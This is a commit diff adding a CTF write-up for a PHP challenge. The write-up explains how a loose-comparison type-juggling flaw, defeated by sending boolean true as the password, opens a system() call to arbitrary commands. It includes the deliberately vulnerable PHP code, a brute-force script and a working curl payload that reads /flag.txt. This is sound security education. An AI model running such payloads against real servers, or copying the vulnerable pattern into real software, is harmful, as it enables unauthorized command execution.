diff options
author | Lars Krönner | 2024-06-04 15:27:10 +0200 |
---|---|---|
committer | GitHub | 2024-06-04 15:27:10 +0200 |
commit | eb0eb59caa8fb520c40e2dc7af063ec7f77340ac (patch) | |
tree | 7c006653f538ecfdd11c3f565eebbf0247418c19 | |
parent | c0290e1b8c22e582350ec8a0883f9e71d2a8e34f (diff) |
Never gonna tell a lie and type you
Signed-off-by: Lars Krönner <41260142+LarsVomMars@users.noreply.github.com>
-rw-r--r-- | never-gonna-tell-a-lie-and-type-you.md | 96 |
1 files changed, 96 insertions, 0 deletions
diff --git a/never-gonna-tell-a-lie-and-type-you.md b/never-gonna-tell-a-lie-and-type-you.md new file mode 100644 index 0000000..41dacfa --- /dev/null +++ b/never-gonna-tell-a-lie-and-type-you.md @@ -0,0 +1,96 @@ +# Never gonna tell a lie and type you +> todo + +## First look +### Dockerfile +We see that the flag is stored into a text file at `/flag.txt`. +Then a php server is started on port 8080 via `php -S 0.0.0.0:8080` which serves the `index.php` file. + +### index.php +A simple php script which expects a POST request with a fixed UserAgent. Otherwise it will return `we don't tolerate toxicity`. +If we pass the correct username and password for the admin account we can execute any command we want on the server. + +## Solution +By looking around we found that we have to bypass all the checks +```php +$user_input = json_decode($_POST["data"]); +if ($_SERVER['HTTP_USER_AGENT'] != "friendlyHuman") { + die("we don't tolerate toxicity"); +} +if ($user_input->{'user'} === "admin🤠") { + if ($user_input->{'password'} == securePassword($user_input->{'password'})) { + echo " hail admin what can I get you " . system($user_input->{"command"}); + } else { + die("Skill issue? Maybe you just try again?"); + } +} +``` +Passing the UserAgent and the user is easy by just setting the header and json data in the request. +The password is a bit more tricky. The password is checked against the `securePassword` function. The function is defined as follows: +```php +function securePassword($user_secret) +{ + if ($user_secret < 10000) { + die("nope don't cheat"); + } + $o = (int) (substr(hexdec(md5(strval($user_secret))), 0, 7) * 123981337); + return $user_secret * $o; +} +``` + +The first check in `securePassword` compares the input to the integer `10000`. Thus passing a random ascii string to the function doesn't work due to `Uncaught TypeError: Unsupported operand types: string * int`. +Realizing this we *thought* that we can limit our range of values to integers. + +### Brute force +To get a better understanding about the `securePassword` function we reimplemented it in python and tried to bruteforce the password. +```py +from hashlib import md5 + +def pwd(s): + return s * int( + float(f"{int(md5(str(s).encode()).hexdigest(), 16):e}"[0:7]) * 123981337 + ) + +secret = 0 +while True: + p = pwd(secret) + if secret == p: + print("[SOLUTION]", secret) + secret += 1 +``` +Which after _some_ (a lot of) time only yields `0` as the solution. + +### Passing 0 to securePassword +The only problem: the value passed to `securePassword` is checked to be greater than `10000` otherwise it fails. So we need to find a way to bypass this. + +#### Passing 0 as integer +Ok so lets try passing `0` to the function anyways and see what happens: The function errors out with `nope don't cheat` as expected. + +#### Passing 0 as string +So maybe we can bypass the check by passing `0` as a string. So we try to pass `"0"` to the function and see what happens: The integer `10000` is automatically casted to an string and the function errors out with `nope don't cheat`. So we need to find another a way to bypass this check. + +### Passing Boolean values +After some more testing and thinking about it, we tried to pass other data types in hopes of bypassing the password checks. + +Knowing that PHP always tries to cast the second value of the comparison when not using strict type comparison we can try to pass a boolean value to the function. But which one? +Like many other languages PHP converts every NON-(NULL/ZERO/FALSE) value to `true`. Therefore if we pass `true` what actually gets evaluated is `true < 10000` which is cast to `true < true` and yields `false` thus `securePassword` returns some non-zero value. +The same applies to the inner if statement: `$user_input->{'password'} == securePassword($user_input->{'password'})`. If we pass `true` as password the comparison is `true == securePassword(true)` which is cast to `true == true` and yields `true` thus the if statement is true and the command is executed. + +### Getting the flag +Now that we know how to bypass the checks we can send a request to the server with the following payload: +```json +{ + "user": "admin🤠", + "password": true, + "command": "cat /flag.txt" +} +``` +We had some issues posting the data with a pure JSON body until we realized that the server expects the data to be urlencoded. +```sh +curl 'http://<URL>.ctf.kitctf.de/' \ +-A 'friendlyHuman' \ +-H 'Content-Type: application/x-www-form-urlencoded' \ +--data-urlencode 'data={"user": "admin🤠", "password": true, "command": "cat /flag.txt"}' +``` + +The command is executed and we receive the flag in the response: `GPNCTF{fake_flag}` |